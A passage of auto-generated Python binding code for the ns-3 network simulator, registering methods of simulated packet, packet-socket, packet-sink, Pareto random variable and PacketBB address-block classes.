cls.add_method('AddAtEnd',
'void',
[param('ns3::Ptr< ns3::Packet const >', 'packet')])
## packet.h (module 'network'): void ns3::Packet::AddByteTag(ns3::Tag const & tag) const [member function]
cls.add_method('AddByteTag',
'void',
[param('ns3::Tag const &', 'tag')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::AddHeader(ns3::Header const & header) [member function]
cls.add_method('AddHeader',
'void',
[param('ns3::Header const &', 'header')])
## packet.h (module 'network'): void ns3::Packet::AddPacketTag(ns3::Tag const & tag) const [member function]
cls.add_method('AddPacketTag',
'void',
[param('ns3::Tag const &', 'tag')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::AddPaddingAtEnd(uint32_t size) [member function]
cls.add_method('AddPaddingAtEnd',
'void',
[param('uint32_t', 'size')])
## packet.h (module 'network'): void ns3::Packet::AddTrailer(ns3::Trailer const & trailer) [member function]
cls.add_method('AddTrailer',
'void',
[param('ns3::Trailer const &', 'trailer')])
## packet.h (module 'network'): ns3::PacketMetadata::ItemIterator ns3::Packet::BeginItem() const [member function]
cls.add_method('BeginItem',
'ns3::PacketMetadata::ItemIterator',
[],
is_const=True)
## packet.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Packet::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::Packet >',
[],
is_const=True)
## packet.h (module 'network'): uint32_t ns3::Packet::CopyData(uint8_t * buffer, uint32_t size) const [member function]
cls.add_method('CopyData',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint32_t', 'size')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::CopyData(std::ostream * os, uint32_t size) const [member function]
cls.add_method('CopyData',
'void',
[param('std::ostream *', 'os'), param('uint32_t', 'size')],
is_const=True)
## packet.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Packet::CreateFragment(uint32_t start, uint32_t length) const [member function]
cls.add_method('CreateFragment',
'ns3::Ptr< ns3::Packet >',
[param('uint32_t', 'start'), param('uint32_t', 'length')],
is_const=True)
## packet.h (module 'network'): static void ns3::Packet::EnableChecking() [member function]
cls.add_method('EnableChecking',
'void',
[],
is_static=True)
## packet.h (module 'network'): static void ns3::Packet::EnablePrinting() [member function]
cls.add_method('EnablePrinting',
'void',
[],
is_static=True)
## packet.h (module 'network'): bool ns3::Packet::FindFirstMatchingByteTag(ns3::Tag & tag) const [member function]
cls.add_method('FindFirstMatchingByteTag',
'bool',
[param('ns3::Tag &', 'tag')],
is_const=True)
## packet.h (module 'network'): ns3::ByteTagIterator ns3::Packet::GetByteTagIterator() const [member function]
cls.add_method('GetByteTagIterator',
'ns3::ByteTagIterator',
[],
is_const=True)
## packet.h (module 'network'): ns3::Ptr<ns3::NixVector> ns3::Packet::GetNixVector() const [member function]
cls.add_method('GetNixVector',
'ns3::Ptr< ns3::NixVector >',
[],
is_const=True)
## packet.h (module 'network'): ns3::PacketTagIterator ns3::Packet::GetPacketTagIterator() const [member function]
cls.add_method('GetPacketTagIterator',
'ns3::PacketTagIterator',
[],
is_const=True)
## packet.h (module 'network'): uint32_t ns3::Packet::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## packet.h (module 'network'): uint32_t ns3::Packet::GetSize() const [member function]
cls.add_method('GetSize',
'uint32_t',
[],
is_const=True)
## packet.h (module 'network'): uint64_t ns3::Packet::GetUid() const [member function]
cls.add_method('GetUid',
'uint64_t',
[],
is_const=True)
## packet.h (module 'network'): uint32_t ns3::Packet::PeekHeader(ns3::Header & header) const [member function]
cls.add_method('PeekHeader',
'uint32_t',
[param('ns3::Header &', 'header')],
is_const=True)
## packet.h (module 'network'): bool ns3::Packet::PeekPacketTag(ns3::Tag & tag) const [member function]
cls.add_method('PeekPacketTag',
'bool',
[param('ns3::Tag &', 'tag')],
is_const=True)
## packet.h (module 'network'): uint32_t ns3::Packet::PeekTrailer(ns3::Trailer & trailer) [member function]
cls.add_method('PeekTrailer',
'uint32_t',
[param('ns3::Trailer &', 'trailer')])
## packet.h (module 'network'): void ns3::Packet::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::PrintByteTags(std::ostream & os) const [member function]
cls.add_method('PrintByteTags',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::PrintPacketTags(std::ostream & os) const [member function]
cls.add_method('PrintPacketTags',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::RemoveAllByteTags() [member function]
cls.add_method('RemoveAllByteTags',
'void',
[])
## packet.h (module 'network'): void ns3::Packet::RemoveAllPacketTags() [member function]
cls.add_method('RemoveAllPacketTags',
'void',
[])
## packet.h (module 'network'): void ns3::Packet::RemoveAtEnd(uint32_t size) [member function]
cls.add_method('RemoveAtEnd',
'void',
[param('uint32_t', 'size')])
## packet.h (module 'network'): void ns3::Packet::RemoveAtStart(uint32_t size) [member function]
cls.add_method('RemoveAtStart',
'void',
[param('uint32_t', 'size')])
## packet.h (module 'network'): uint32_t ns3::Packet::RemoveHeader(ns3::Header & header) [member function]
cls.add_method('RemoveHeader',
'uint32_t',
[param('ns3::Header &', 'header')])
## packet.h (module 'network'): bool ns3::Packet::RemovePacketTag(ns3::Tag & tag) [member function]
cls.add_method('RemovePacketTag',
'bool',
[param('ns3::Tag &', 'tag')])
## packet.h (module 'network'): uint32_t ns3::Packet::RemoveTrailer(ns3::Trailer & trailer) [member function]
cls.add_method('RemoveTrailer',
'uint32_t',
[param('ns3::Trailer &', 'trailer')])
## packet.h (module 'network'): bool ns3::Packet::ReplacePacketTag(ns3::Tag & tag) [member function]
cls.add_method('ReplacePacketTag',
'bool',
[param('ns3::Tag &', 'tag')])
## packet.h (module 'network'): uint32_t ns3::Packet::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function]
cls.add_method('Serialize',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::SetNixVector(ns3::Ptr<ns3::NixVector> nixVector) [member function]
cls.add_method('SetNixVector',
'void',
[param('ns3::Ptr< ns3::NixVector >', 'nixVector')])
## packet.h (module 'network'): std::string ns3::Packet::ToString() const [member function]
cls.add_method('ToString',
'std::string',
[],
is_const=True)
return
def register_Ns3PacketSink_methods(root_module, cls):
## packet-sink.h (module 'applications'): ns3::PacketSink::PacketSink(ns3::PacketSink const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketSink const &', 'arg0')])
## packet-sink.h (module 'applications'): ns3::PacketSink::PacketSink() [constructor]
cls.add_constructor([])
## packet-sink.h (module 'applications'): std::list<ns3::Ptr<ns3::Socket>, std::allocator<ns3::Ptr<ns3::Socket> > > ns3::PacketSink::GetAcceptedSockets() const [member function]
cls.add_method('GetAcceptedSockets',
'std::list< ns3::Ptr< ns3::Socket > >',
[],
is_const=True)
## packet-sink.h (module 'applications'): ns3::Ptr<ns3::Socket> ns3::PacketSink::GetListeningSocket() const [member function]
cls.add_method('GetListeningSocket',
'ns3::Ptr< ns3::Socket >',
[],
is_const=True)
## packet-sink.h (module 'applications'): uint64_t ns3::PacketSink::GetTotalRx() const [member function]
cls.add_method('GetTotalRx',
'uint64_t',
[],
is_const=True)
## packet-sink.h (module 'applications'): static ns3::TypeId ns3::PacketSink::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## packet-sink.h (module 'applications'): void ns3::PacketSink::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## packet-sink.h (module 'applications'): void ns3::PacketSink::StartApplication() [member function]
cls.add_method('StartApplication',
'void',
[],
visibility='private', is_virtual=True)
## packet-sink.h (module 'applications'): void ns3::PacketSink::StopApplication() [member function]
cls.add_method('StopApplication',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3PacketSizeMinMaxAvgTotalCalculator_methods(root_module, cls):
## packet-data-calculators.h (module 'network'): ns3::PacketSizeMinMaxAvgTotalCalculator::PacketSizeMinMaxAvgTotalCalculator(ns3::PacketSizeMinMaxAvgTotalCalculator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketSizeMinMaxAvgTotalCalculator const &', 'arg0')])
## packet-data-calculators.h (module 'network'): ns3::PacketSizeMinMaxAvgTotalCalculator::PacketSizeMinMaxAvgTotalCalculator() [constructor]
cls.add_constructor([])
## packet-data-calculators.h (module 'network'): void ns3::PacketSizeMinMaxAvgTotalCalculator::FrameUpdate(std::string path, ns3::Ptr<ns3::Packet const> packet, ns3::Mac48Address realto) [member function]
cls.add_method('FrameUpdate',
'void',
[param('std::string', 'path'), param('ns3::Ptr< ns3::Packet const >', 'packet'), param('ns3::Mac48Address', 'realto')])
## packet-data-calculators.h (module 'network'): static ns3::TypeId ns3::PacketSizeMinMaxAvgTotalCalculator::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## packet-data-calculators.h (module 'network'): void ns3::PacketSizeMinMaxAvgTotalCalculator::PacketUpdate(std::string path, ns3::Ptr<ns3::Packet const> packet) [member function]
cls.add_method('PacketUpdate',
'void',
[param('std::string', 'path'), param('ns3::Ptr< ns3::Packet const >', 'packet')])
## packet-data-calculators.h (module 'network'): void ns3::PacketSizeMinMaxAvgTotalCalculator::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3PacketSocket_methods(root_module, cls):
## packet-socket.h (module 'network'): ns3::PacketSocket::PacketSocket(ns3::PacketSocket const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketSocket const &', 'arg0')])
## packet-socket.h (module 'network'): ns3::PacketSocket::PacketSocket() [constructor]
cls.add_constructor([])
## packet-socket.h (module 'network'): int ns3::PacketSocket::Bind() [member function]
cls.add_method('Bind',
'int',
[],
is_virtual=True)
## packet-socket.h (module 'network'): int ns3::PacketSocket::Bind(ns3::Address const & address) [member function]
cls.add_method('Bind',
'int',
[param('ns3::Address const &', 'address')],
is_virtual=True)
## packet-socket.h (module 'network'): int ns3::PacketSocket::Bind6() [member function]
cls.add_method('Bind6',
'int',
[],
is_virtual=True)
## packet-socket.h (module 'network'): int ns3::PacketSocket::Close() [member function]
cls.add_method('Close',
'int',
[],
is_virtual=True)
## packet-socket.h (module 'network'): int ns3::PacketSocket::Connect(ns3::Address const & address) [member function]
cls.add_method('Connect',
'int',
[param('ns3::Address const &', 'address')],
is_virtual=True)
## packet-socket.h (module 'network'): bool ns3::PacketSocket::GetAllowBroadcast() const [member function]
cls.add_method('GetAllowBroadcast',
'bool',
[],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): ns3::Socket::SocketErrno ns3::PacketSocket::GetErrno() const [member function]
cls.add_method('GetErrno',
'ns3::Socket::SocketErrno',
[],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): ns3::Ptr<ns3::Node> ns3::PacketSocket::GetNode() const [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): int ns3::PacketSocket::GetPeerName(ns3::Address & address) const [member function]
cls.add_method('GetPeerName',
'int',
[param('ns3::Address &', 'address')],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): uint32_t ns3::PacketSocket::GetRxAvailable() const [member function]
cls.add_method('GetRxAvailable',
'uint32_t',
[],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): int ns3::PacketSocket::GetSockName(ns3::Address & address) const [member function]
cls.add_method('GetSockName',
'int',
[param('ns3::Address &', 'address')],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): ns3::Socket::SocketType ns3::PacketSocket::GetSocketType() const [member function]
cls.add_method('GetSocketType',
'ns3::Socket::SocketType',
[],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): uint32_t ns3::PacketSocket::GetTxAvailable() const [member function]
cls.add_method('GetTxAvailable',
'uint32_t',
[],
is_const=True, is_virtual=True)
## packet-socket.h (module 'network'): static ns3::TypeId ns3::PacketSocket::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## packet-socket.h (module 'network'): int ns3::PacketSocket::Listen() [member function]
cls.add_method('Listen',
'int',
[],
is_virtual=True)
## packet-socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::PacketSocket::Recv(uint32_t maxSize, uint32_t flags) [member function]
cls.add_method('Recv',
'ns3::Ptr< ns3::Packet >',
[param('uint32_t', 'maxSize'), param('uint32_t', 'flags')],
is_virtual=True)
## packet-socket.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::PacketSocket::RecvFrom(uint32_t maxSize, uint32_t flags, ns3::Address & fromAddress) [member function]
cls.add_method('RecvFrom',
'ns3::Ptr< ns3::Packet >',
[param('uint32_t', 'maxSize'), param('uint32_t', 'flags'), param('ns3::Address &', 'fromAddress')],
is_virtual=True)
## packet-socket.h (module 'network'): int ns3::PacketSocket::Send(ns3::Ptr<ns3::Packet> p, uint32_t flags) [member function]
cls.add_method('Send',
'int',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('uint32_t', 'flags')],
is_virtual=True)
## packet-socket.h (module 'network'): int ns3::PacketSocket::SendTo(ns3::Ptr<ns3::Packet> p, uint32_t flags, ns3::Address const & toAddress) [member function]
cls.add_method('SendTo',
'int',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('uint32_t', 'flags'), param('ns3::Address const &', 'toAddress')],
is_virtual=True)
## packet-socket.h (module 'network'): bool ns3::PacketSocket::SetAllowBroadcast(bool allowBroadcast) [member function]
cls.add_method('SetAllowBroadcast',
'bool',
[param('bool', 'allowBroadcast')],
is_virtual=True)
## packet-socket.h (module 'network'): void ns3::PacketSocket::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## packet-socket.h (module 'network'): int ns3::PacketSocket::ShutdownRecv() [member function]
cls.add_method('ShutdownRecv',
'int',
[],
is_virtual=True)
## packet-socket.h (module 'network'): int ns3::PacketSocket::ShutdownSend() [member function]
cls.add_method('ShutdownSend',
'int',
[],
is_virtual=True)
## packet-socket.h (module 'network'): void ns3::PacketSocket::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3PacketSocketClient_methods(root_module, cls):
## packet-socket-client.h (module 'network'): ns3::PacketSocketClient::PacketSocketClient(ns3::PacketSocketClient const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketSocketClient const &', 'arg0')])
## packet-socket-client.h (module 'network'): ns3::PacketSocketClient::PacketSocketClient() [constructor]
cls.add_constructor([])
## packet-socket-client.h (module 'network'): uint8_t ns3::PacketSocketClient::GetPriority() const [member function]
cls.add_method('GetPriority',
'uint8_t',
[],
is_const=True)
## packet-socket-client.h (module 'network'): static ns3::TypeId ns3::PacketSocketClient::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## packet-socket-client.h (module 'network'): void ns3::PacketSocketClient::SetRemote(ns3::PacketSocketAddress addr) [member function]
cls.add_method('SetRemote',
'void',
[param('ns3::PacketSocketAddress', 'addr')])
## packet-socket-client.h (module 'network'): void ns3::PacketSocketClient::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## packet-socket-client.h (module 'network'): void ns3::PacketSocketClient::StartApplication() [member function]
cls.add_method('StartApplication',
'void',
[],
visibility='private', is_virtual=True)
## packet-socket-client.h (module 'network'): void ns3::PacketSocketClient::StopApplication() [member function]
cls.add_method('StopApplication',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3PacketSocketFactory_methods(root_module, cls):
## packet-socket-factory.h (module 'network'): ns3::PacketSocketFactory::PacketSocketFactory(ns3::PacketSocketFactory const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketSocketFactory const &', 'arg0')])
## packet-socket-factory.h (module 'network'): ns3::PacketSocketFactory::PacketSocketFactory() [constructor]
cls.add_constructor([])
## packet-socket-factory.h (module 'network'): ns3::Ptr<ns3::Socket> ns3::PacketSocketFactory::CreateSocket() [member function]
cls.add_method('CreateSocket',
'ns3::Ptr< ns3::Socket >',
[],
is_virtual=True)
## packet-socket-factory.h (module 'network'): static ns3::TypeId ns3::PacketSocketFactory::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
return
def register_Ns3PacketSocketServer_methods(root_module, cls):
## packet-socket-server.h (module 'network'): ns3::PacketSocketServer::PacketSocketServer(ns3::PacketSocketServer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketSocketServer const &', 'arg0')])
## packet-socket-server.h (module 'network'): ns3::PacketSocketServer::PacketSocketServer() [constructor]
cls.add_constructor([])
## packet-socket-server.h (module 'network'): static ns3::TypeId ns3::PacketSocketServer::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## packet-socket-server.h (module 'network'): void ns3::PacketSocketServer::SetLocal(ns3::PacketSocketAddress addr) [member function]
cls.add_method('SetLocal',
'void',
[param('ns3::PacketSocketAddress', 'addr')])
## packet-socket-server.h (module 'network'): void ns3::PacketSocketServer::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## packet-socket-server.h (module 'network'): void ns3::PacketSocketServer::StartApplication() [member function]
cls.add_method('StartApplication',
'void',
[],
visibility='private', is_virtual=True)
## packet-socket-server.h (module 'network'): void ns3::PacketSocketServer::StopApplication() [member function]
cls.add_method('StopApplication',
'void',
[],
visibility='private', is_virtual=True)
return
def register_Ns3ParetoRandomVariable_methods(root_module, cls):
## random-variable-stream.h (module 'core'): static ns3::TypeId ns3::ParetoRandomVariable::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## random-variable-stream.h (module 'core'): ns3::ParetoRandomVariable::ParetoRandomVariable() [constructor]
cls.add_constructor([])
## random-variable-stream.h (module 'core'): double ns3::ParetoRandomVariable::GetMean() const [member function]
cls.add_method('GetMean',
'double',
[],
deprecated=True, is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ParetoRandomVariable::GetScale() const [member function]
cls.add_method('GetScale',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ParetoRandomVariable::GetShape() const [member function]
cls.add_method('GetShape',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ParetoRandomVariable::GetBound() const [member function]
cls.add_method('GetBound',
'double',
[],
is_const=True)
## random-variable-stream.h (module 'core'): double ns3::ParetoRandomVariable::GetValue(double scale, double shape, double bound) [member function]
cls.add_method('GetValue',
'double',
[param('double', 'scale'), param('double', 'shape'), param('double', 'bound')])
## random-variable-stream.h (module 'core'): uint32_t ns3::ParetoRandomVariable::GetInteger(uint32_t scale, uint32_t shape, uint32_t bound) [member function]
cls.add_method('GetInteger',
'uint32_t',
[param('uint32_t', 'scale'), param('uint32_t', 'shape'), param('uint32_t', 'bound')])
## random-variable-stream.h (module 'core'): double ns3::ParetoRandomVariable::GetValue() [member function]
cls.add_method('GetValue',
'double',
[],
is_virtual=True)
## random-variable-stream.h (module 'core'): uint32_t ns3::ParetoRandomVariable::GetInteger() [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_virtual=True)
return
def register_Ns3PbbAddressBlock_methods(root_module, cls):
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('!=')
## packetbb.h (module 'network'): ns3::PbbAddressBlock::PbbAddressBlock(ns3::PbbAddressBlock const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PbbAddressBlock const &', 'arg0')])
## packetbb.h (module 'network'): ns3::PbbAddressBlock::PbbAddressBlock() [constructor]
cls.add_constructor([])
## packetbb.h (module 'network'): ns3::Address ns3::PbbAddressBlock::AddressBack() const [member function]
cls.add_method('AddressBack',
'ns3::Address',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Address> ns3::PbbAddressBlock::AddressBegin() [member function]
cls.add_method('AddressBegin',
'std::_List_iterator< ns3::Address >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Address> ns3::PbbAddressBlock::AddressBegin() const [member function]
cls.add_method('AddressBegin',
'std::_List_const_iterator< ns3::Address >',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::AddressClear() [member function]
cls.add_method('AddressClear',
'void',
[])
## packetbb.h (module 'network'): bool ns3::PbbAddressBlock::AddressEmpty() const [member function]
cls.add_method('AddressEmpty',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Address> ns3::PbbAddressBlock::AddressEnd() [member function]
cls.add_method('AddressEnd',
'std::_List_iterator< ns3::Address >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Address> ns3::PbbAddressBlock::AddressEnd() const [member function]
cls.add_method('AddressEnd',
'std::_List_const_iterator< ns3::Address >',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Address> ns3::PbbAddressBlock::AddressErase(std::_List_iterator<ns3::Address> position) [member function]
cls.add_method('AddressErase',
'std::_List_iterator< ns3::Address >',
[param('std::_List_iterator< ns3::Address >', 'position')])
## packetbb.h (module 'network'): std::_List_iterator<ns3::Address> ns3::PbbAddressBlock::AddressErase(std::_List_iterator<ns3::Address> first, std::_List_iterator<ns3::Address> last) [member function]
cls.add_method('AddressErase',
'std::_List_iterator< ns3::Address >',
[param('std::_List_iterator< ns3::Address >', 'first'), param('std::_List_iterator< ns3::Address >', 'last')])
## packetbb.h (module 'network'): ns3::Address ns3::PbbAddressBlock::AddressFront() const [member function]
cls.add_method('AddressFront',
'ns3::Address',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Address> ns3::PbbAddressBlock::AddressInsert(std::_List_iterator<ns3::Address> position, ns3::Address const value) [member function]
cls.add_method('AddressInsert',
'std::_List_iterator< ns3::Address >',
[param('std::_List_iterator< ns3::Address >', 'position'), param('ns3::Address const', 'value')])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::AddressPopBack() [member function]
cls.add_method('AddressPopBack',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::AddressPopFront() [member function]
cls.add_method('AddressPopFront',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::AddressPushBack(ns3::Address address) [member function]
cls.add_method('AddressPushBack',
'void',
[param('ns3::Address', 'address')])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::AddressPushFront(ns3::Address address) [member function]
cls.add_method('AddressPushFront',
'void',
[param('ns3::Address', 'address')])
## packetbb.h (module 'network'): int ns3::PbbAddressBlock::AddressSize() const [member function]
cls.add_method('AddressSize',
'int',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::Deserialize(ns3::Buffer::Iterator & start) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::Buffer::Iterator &', 'start')])
## packetbb.h (module 'network'): uint32_t ns3::PbbAddressBlock::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## packetbb.h (module 'network'): uint8_t ns3::PbbAddressBlock::PrefixBack() const [member function]
cls.add_method('PrefixBack',
'uint8_t',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<unsigned char> ns3::PbbAddressBlock::PrefixBegin() [member function]
cls.add_method('PrefixBegin',
'std::_List_iterator< unsigned char >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<unsigned char> ns3::PbbAddressBlock::PrefixBegin() const [member function]
cls.add_method('PrefixBegin',
'std::_List_const_iterator< unsigned char >',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::PrefixClear() [member function]
cls.add_method('PrefixClear',
'void',
[])
## packetbb.h (module 'network'): bool ns3::PbbAddressBlock::PrefixEmpty() const [member function]
cls.add_method('PrefixEmpty',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<unsigned char> ns3::PbbAddressBlock::PrefixEnd() [member function]
cls.add_method('PrefixEnd',
'std::_List_iterator< unsigned char >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<unsigned char> ns3::PbbAddressBlock::PrefixEnd() const [member function]
cls.add_method('PrefixEnd',
'std::_List_const_iterator< unsigned char >',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<unsigned char> ns3::PbbAddressBlock::PrefixErase(std::_List_iterator<unsigned char> position) [member function]
cls.add_method('PrefixErase',
'std::_List_iterator< unsigned char >',
[param('std::_List_iterator< unsigned char >', 'position')])
## packetbb.h (module 'network'): std::_List_iterator<unsigned char> ns3::PbbAddressBlock::PrefixErase(std::_List_iterator<unsigned char> first, std::_List_iterator<unsigned char> last) [member function]
cls.add_method('PrefixErase',
'std::_List_iterator< unsigned char >',
[param('std::_List_iterator< unsigned char >', 'first'), param('std::_List_iterator< unsigned char >', 'last')])
## packetbb.h (module 'network'): uint8_t ns3::PbbAddressBlock::PrefixFront() const [member function]
cls.add_method('PrefixFront',
'uint8_t',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<unsigned char> ns3::PbbAddressBlock::PrefixInsert(std::_List_iterator<unsigned char> position, uint8_t const value) [member function]
cls.add_method('PrefixInsert',
'std::_List_iterator< unsigned char >',
[param('std::_List_iterator< unsigned char >', 'position'), param('uint8_t const', 'value')])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::PrefixPopBack() [member function]
cls.add_method('PrefixPopBack',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::PrefixPopFront() [member function]
cls.add_method('PrefixPopFront',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::PrefixPushBack(uint8_t prefix) [member function]
cls.add_method('PrefixPushBack',
'void',
[param('uint8_t', 'prefix')])
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::PrefixPushFront(uint8_t prefix) [member function]
cls.add_method('PrefixPushFront',
'void',
[param('uint8_t', 'prefix')])
## packetbb.h (module 'network'): int ns3::PbbAddressBlock::PrefixSize() const [member function]
cls.add_method('PrefixSize',
'int',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::Print(std::ostream & os, int level) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os'), param('int', 'level')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::Serialize(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator &', 'start')],
is_const=True)
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressTlv> ns3::PbbAddressBlock::TlvBack() [member function]
cls.add_method('TlvBack',
'ns3::Ptr< ns3::PbbAddressTlv >',
[])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressTlv> const ns3::PbbAddressBlock::TlvBack() const [member function]
cls.add_method('TlvBack',
'ns3::Ptr< ns3::PbbAddressTlv > const',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressBlock::TlvBegin() [member function]
cls.add_method('TlvBegin',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressBlock::TlvBegin() const [member function]
cls.add_method('TlvBegin',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbAddressBlock::TlvClear() [member function]
cls.add_method('TlvClear',
'void',
[])
## packetbb.h (module 'network'): bool ns3::PbbAddressBlock::TlvEmpty() const [member function]
cls.add_method('TlvEmpty',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressBlock::TlvEnd() [member function]
cls.add_method('TlvEnd',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressBlock::TlvEnd() const [member function]
cls.add_method('TlvEnd',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressBlock::TlvErase(std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > position) [member function]
cls.add_method('TlvErase',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >', 'position')])
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressBlock::TlvErase(std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > first, std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > last) [member function]
cls.add_method('TlvErase',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >', 'first'), param('std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >', 'last')])
